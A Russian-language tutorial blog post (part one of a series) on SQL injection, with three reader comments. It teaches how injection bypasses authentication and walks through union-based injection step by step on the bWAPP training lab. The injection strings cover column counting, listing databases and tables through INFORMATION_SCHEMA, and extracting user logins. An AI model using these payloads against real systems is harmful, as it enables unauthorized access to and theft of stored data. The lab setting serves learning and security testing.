Уязвимость SQL-инъекция (ч. 1): Основы SQLi, простая инъекция с UNION


SQL-инъекция для новичков

SQL-инъекция – это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' AND password ='111'

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = 'Demo') и (AND) значение поля password равно величине 111 (password ='111').

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = 'Demo' AND password ='111' является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя – например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo' --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' -- ' AND password ='111'

Две чёрточки () – означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть  ' AND password ='111'

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo'

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

  • #
  • /*

Т.е. вместо

Demo' --

можно было бы ввести


Demo' #

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo' OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1 -- ' AND password ='111'

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ('), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1
SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=(1)
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

Demo' #

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Demo" #

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ('$name') AND password = ('$password')

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo') #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Далее перечень СУБД и вариантов выводимых ими ошибок:


Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Ошибка в MSSQL ASPX:

Server Error in '/' Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
или
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search)»/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Далее выполним ряд тестов.

Вводим


Iron Man'

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Вводим

Iron Man"

Результат


Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man' OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man' AND 0 ORDER BY 1 #
Iron Man' AND 0 ORDER BY 2 #
Iron Man' AND 0 ORDER BY 3 #
………………………
………………………
………………………
Iron Man' AND 0 ORDER BY 7 #

Для

Iron Man' AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column '8' in 'order clause'

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов – с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man' AND 0 UNION SELECT 1 #
Iron Man' AND 0 UNION SELECT 1,2 #
………………………
………………………
………………………
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT.

Конструируем наш запрос с UNION:

Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION:

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man' AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA. Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

Здесь

  • SELECT и FROM – уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME – имя запрашиваемого столбца;
  • INFORMATION_SCHEMA – имя базы данных, к которой делается запрос;
  • SCHEMATA – имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION, мы можем сделать запрос к базе данных INFORMATION_SCHEMA. Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT. Например, для первой строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

и т.д.

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='tablenamehere'

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • blog
  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='blog'

Применительно к нашей уязвимости получаем ввод:

Iron Man' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='blog' #

Здесь также можно применять LIMIT.

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man' AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных. Если вопросы остались, то пишите их в комментариях.


Рекомендуется Вам:

3 комментария to Уязвимость SQL-инъекция (ч. 1): Основы SQLi, простая инъекция с UNION

  1. Павел:

    Хорошо и доступно объяснили. Спасибо

  2. Аноним:

    Спасибо за труд.

  3. АНОНИМ:

    Вот у меня есть хранимая процедура.

    CREATE DEFINER=`root`@`localhost` PROCEDURE `new_procedure`(us varchar(45))
    BEGIN
    select * from table1 where user = us;
    END

    Как её взломать SQL инъекцией, вот например ввести только своё имя пользователя, а получить данные всей таблицы?

    Вызов процедуры осуществляется с помощью call(…)
    По сути в скобках надо написать например Demo' но эта кавычка не дает сделать ничего дальше….

     

Добавить комментарий для Аноним Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *